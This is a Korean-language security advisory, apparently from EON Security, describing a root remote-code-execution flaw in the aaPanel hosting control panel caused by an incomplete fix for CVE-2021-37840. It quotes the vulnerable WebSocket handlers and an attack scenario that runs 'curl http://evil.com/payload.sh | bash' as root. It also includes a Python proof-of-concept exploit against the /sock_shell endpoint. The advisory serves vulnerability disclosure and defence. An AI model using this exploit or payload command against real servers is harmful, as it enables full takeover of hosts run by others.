
aaPanel WebSocket CSRF 우회로 인한 RCE (CVE-2021-37840에 대한 불완전한 수정)
CVE-2021-37840의 불완전한 수정으로 인해 5년 후에도 360만 대의 서버가 여전히 루트 RCE에 노출됨
발견자: EON Security
CVE: 배정 대기 중
CVSS: 8.8 (높음) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
영향: aaPanel 버전 6.8.12 ~ 7.65.0 (2021년 수정 이후 모든 버전)
설치 기반: 360만+ 서버
2021년, 360만+ 서버에서 실행되는 무료 호스팅 제어판 aaPanel에서 CSWSH(Cross-Site WebSocket Hijacking) 취약점(CVE-2021-37840)이 공개되었습니다. 벤더는 이를 "수정"하기 위해 CSRF 토큰 검사를 추가했습니다.
수정 자체가 아키텍처적으로 잘못되었습니다.
수정은 HTTP 레벨에서 인증되지 않은 WebSocket 연결을 거부(401 반환)하는 대신, 모든 연결을 허용(101 Switching Protocols 반환)하고 핸들러 내부에서만 인증을 확인합니다. 즉, WebSocket이 이미 설정된 이후에 확인이 이루어집니다. 추가된 CSRF 검사는 여러 방법으로 우회할 수 있습니다.
EON Security는 5년 후에도 모든 aaPanel 버전이 동일한 공격 클래스에 취약하다는 사실을 발견했습니다.
이는 aaPanel의 6년 이상 역사에서 10번째 CVE에 불과합니다.
aaPanel을 실행 중인 경우, 공격자가 다음과 같이 피해를 입힐 수 있습니다:
시나리오 1: 관리자가 잘못된 링크를 클릭함
curl http://evil.com/payload.sh | bash를 보냅니다. 해당 명령이 루트 권한으로 서버에서 실행됩니다.클릭 한 번만 필요합니다. 한 번의 잘못된 클릭으로 공격자가 모든 것을 장악합니다.
시나리오 2: API 키 유출
이것이 더 큰 문제입니다. CSRF 보호는 API 인증 요청에는 전혀 적용되지 않습니다. 브라우저 기반 연결을 확인하도록 설계되었지만, API 액세스를 위한 코드 경로가 이를 완전히 우회합니다.
어느 쪽이든, 360만 대의 서버가 영향을 받습니다. 2021년 이후 모든 버전에서.
g.api_request=True (API 인증 요청) 및 g.is_aes=True (AES 암호화 요청)가 검사를 완전히 건너뜁니다./sock_shell 엔드포인트는 임의 명령을 실행합니다 — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh 엔드포인트는 공격자가 제공한 SSH 자격 증명을 수락합니다 — 모든 SSH 호스트에 연결 가능모든 WebSocket 엔드포인트는 인증 확인 전에 HTTP 101 Switching Protocols를 반환합니다. comm.local() 인증 검사는 WebSocket 업그레이드가 완료된 후 핸들러 내부에서 실행됩니다:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← 인증 검사가 101 이후에 발생
if comReturn:
ws.send(str(comReturn))
return
영향을 받는 엔드포인트:
/webssh (SSH 터미널 프록시)/sock_shell (직접 명령 실행)/ws_panel (패널 관리)/ws_home (대시보드)/ws_project (프로젝트 관리)/ws_model (모델 관리)/workorder_client (티켓 시스템)/v2/* 변형check_csrf_websocket() 함수는 CSWSH(Cross-Site WebSocket Hijacking)를 방지하기 위해 설계되었습니다:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← 우회: AES 모드는 검사 건너뜀
if g.api_request: return True # ← 우회: API 요청은 검사 건너뜀
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
두 가지 하드 바이패스 조건이 존재합니다:
g.api_request: True인 경우(API 키 인증 중 설정), CSRF 검사가 완전히 생략됩니다. API 인증된 WebSocket 세션은 이 보호를 우회합니다.g.is_aes: True인 경우(AES 암호화 API 요청 중 설정), CSRF 검사도 생략됩니다.토큰 비교(get_csrf_sess_html_token_value())는 session.get('request_token_head', "")를 반환합니다. 이 값이 아직 초기화되지 않은 세션에서는 빈 x-http-token이 검사를 통과합니다.
/sock_shell 엔드포인트는 공격자가 제공한 문자열을 shell=True와 함께 subprocess.Popen에 직접 전달합니다:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← 임의 명령 실행
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
WebSocket을 통해 수신된 각 메시지는 쉘 명령으로 실행됩니다. 출력은 WebSocket을 통해 다시 스트리밍됩니다. aaPanel이 루트로 실행되므로 이는 전체 시스템 손상입니다.
/webssh 엔드포인트는 첫 번째 WebSocket 메시지에서 공격자가 제공한 SSH 연결 매개변수를 수락합니다:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
호스트가 127.0.0.1 또는 localhost인 경우 핸들러는 데이터베이스에서 저장된 자격 증명을 확인하거나 공격자가 제공한 자격 증명을 사용합니다.
주요 익스플로잇 경로는 CSWSH(Cross-Site WebSocket Hijacking) 로, 사용자 상호작용이 필요합니다:
wss://victim-panel:8888/sock_shell에 WebSocket을 엽니다comm.local()이 인증을 통과시킵니다(유효한 세션 쿠키){"x-http-token": ""}를 보내거나 API/AES 우회 경로를 악용합니다API 키 손상을 통한 대체 경로:
g.api_request = True를 설정합니다| 엔드포인트 | 기능 | 영향 |
|---|---|---|
/webssh | SSH 터미널 프록시 | 공격자 자격 증명으로 임의 SSH 호스트에 연결 |
/sock_shell | 직접 명령 실행 | 쉘 명령을 통한 루트 RCE |
/ws_panel | 패널 관리 | 패널 데이터 액세스 |
/ws_home | 대시보드 | 대시보드 데이터 액세스 |
/ws_project | 프로젝트 관리 | 프로젝트 데이터 액세스 |
/ws_model | 모델 관리 | 모델 데이터 액세스 |
/workorder_client | 티켓 시스템 | 티켓 데이터 액세스 |
/v2/* | 모든 v2 변형 | 위와 동일 |
import asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# 빈 토큰으로 CSRF 우회 시도
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF 검사 활성화됨 — API 인증 우회 필요할 수 있음
return None
# 명령 실행
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
전체 PoC: exploit.py
check.py 스크립트를 사용하여 aaPanel 인스턴스에 취약한 WebSocket 엔드포인트가 있는지 테스트하세요:
python3 check.py https://target:8888
g.api_request 및 g.is_aes가 CSRF 보호를 건너뛰지 않아야 함| 날짜 | 이벤트 |
|---|---|
| 2021-08-02 | CVE-2021-37840 공개 (aaPanel CSWSH) |
| 2021 | 벤더가 check_csrf_websocket()을 수정으로 추가 |
| 2026-06-23 | EON Security가 수정이 불완전함을 발견 |
| 대기 중 | CVE 배정 |
| 대기 중 | 공개 공개 |
Yadav — EON Security
웹사이트: https://eonsecurity.co.za
이 콘텐츠는 MIT 라이선스에 따라 제공됩니다. PoC는 교육 및 방어 목적으로만 제공됩니다.